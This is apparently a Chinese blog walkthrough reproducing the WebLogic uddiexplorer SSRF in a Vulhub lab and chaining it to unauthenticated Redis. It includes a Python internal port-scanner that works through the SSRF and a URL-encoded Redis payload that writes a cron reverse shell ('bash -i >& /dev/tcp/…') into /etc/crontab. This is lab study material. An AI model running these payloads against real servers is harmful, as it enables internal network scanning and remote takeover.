Weblogic ssrf漏洞复现

文章目录

一、漏洞描述

SSRF

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)处理 -->返回用户响应

【网站有个请求是www.baidu,com/xxx.php?image=URL】

安全的网站应接收请求后,检测请求的合法性

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据

例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址

如果存在该内网地址就会返回1xx 2xx 3xx 4xx之类的状态码,不存在就会其他的状态码

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以这个请求中的身份来访问其他服务器的资源。

Redis未授权访问

未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

二、漏洞特征

1.查看uddiexplorer应用

http://192.168.232.131:7001/uddiexplorer/

2.漏洞点

192.168.232.131:7001/uddiexplorer/SearchPublicRegistries.jsp

3.burp抓包访问

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:23

非http协议端口返回could not connect over HTTP to server

http协议返回

returned a 404 error code

三、漏洞复现

1.获取容器内网ip

通过burp爆破查看错误的不同显示,即可探测内网ip和端口。

或者使用以下工具探测

python 复制代码
import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://192.168.232.131:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
        #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.19.0"  
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"

docker ps

docker exec -it 3f3c5f3a0692 "/bin/bash"

ifconfig

2.VULHUB Weblogic SSRF漏洞 docker中 centos6 无法启动的解决办法

修改文件:/etc/default/grub

GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"

update-grub 然后重启系统。

3.准备payload

test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.52.2/2000 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

aaa

url编码后:

test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%2A%20%2A%20%2A%20%2A%20%2A%20root%20bash%20-i%20%3E%26%20/dev/tcp/192.168.52.2/2000%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa

4.反弹shell

使用表单提交发布

operator=http://172.21.0.2:6379/test set 1 "\n\n\n\n* * * * * root bash -i >%26 /dev/tcp/192.168.52.2/2000 0>%261\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa\&rdoSearch=name\&txtSearchname=\&txtSearchkey=\&txtSearchfor=\&selfor=Business+location\&btnSubmit=Search

成功反弹shell

注意系统时间要对上,否则可能会失败

相关推荐
却黑9712 分钟前
使用react-dnd实现 antd 多级树状表格拖拽排序功能
前端·react.js
前端Hardy12 分钟前
HTML&CSS:3D 轮播图全攻略
前端·javascript
前端Hardy13 分钟前
7 个技巧助你写出优雅高效的 JavaScript 异步代码
前端·javascript·面试
HelloWord21 分钟前
从零到一搭建vue3+ts项目
前端·vue.js
等一个晴天丶36 分钟前
vscode编辑器设置背景图片(background-cover插件)以及代码颜色,编辑器其他颜色设置
前端
晴殇i1 小时前
CSS Grid 布局中添加分隔线的4种实用方法
前端·css·前端框架
嘉小华1 小时前
Android ViewModel 深度解析
前端
走向终结的前端1 小时前
vue中再搞一下SSE的使用
前端·javascript
itslife1 小时前
提交 Fiber 树
前端·react.js